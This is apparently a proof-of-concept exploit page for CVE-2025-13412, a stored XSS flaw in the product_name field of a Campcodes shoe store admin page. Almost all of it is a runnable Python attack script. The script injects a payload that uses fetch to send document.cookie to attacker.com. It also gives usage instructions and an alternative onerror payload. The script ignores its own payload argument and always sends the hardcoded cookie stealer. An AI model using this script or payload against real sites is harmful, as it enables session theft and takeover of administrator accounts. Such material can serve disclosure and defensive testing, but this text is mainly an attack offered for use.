CVE-2025-13412 Campcodes Retro Basketball Shoes Online Store XSS漏洞

# CVE-2025-13412 XSS PoC # Target: Campcodes Retro Basketball Shoes Online Store 1.0 # File: /admin/admin_running.php # Parameter: product_name import requests import argparse from urllib.parse import quote def exploit_xss(target_url, payload): """ Exploit XSS vulnerability in product_name parameter """ # Construct the malicious URL # Note: Authentication as admin is required (PR:H) exploit_url = f"{target_url}/admin/admin_running.php" # XSS payload - stealing cookies xss_payload = f"<script>fetch('http://attacker.com/log?c='+document.cookie)</script>" # Data payload with XSS in product_name data = { 'product_name': xss_payload, 'action': 'save' # or appropriate action parameter } print(f"[*] Target URL: {exploit_url}") print(f"[*] Payload: {xss_payload}") try: # Send the malicious request response = requests.post(exploit_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully") print("[+] XSS payload injected") print("[*] Wait for admin to visit the page to trigger the payload") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def main(): parser = argparse.ArgumentParser(description='CVE-2025-13412 XSS Exploit') parser.add_argument('-u', '--url', required=True, help='Target base URL') parser.add_argument('-p', '--payload', default='alert("XSS")', help='XSS payload') args = parser.parse_args() exploit_xss(args.url, args.payload) if __name__ == '__main__': main() # Usage: python cve-2025-13412.py -u http://target.com # Alternative payload: <img src=x onerror=alert(document.domain)>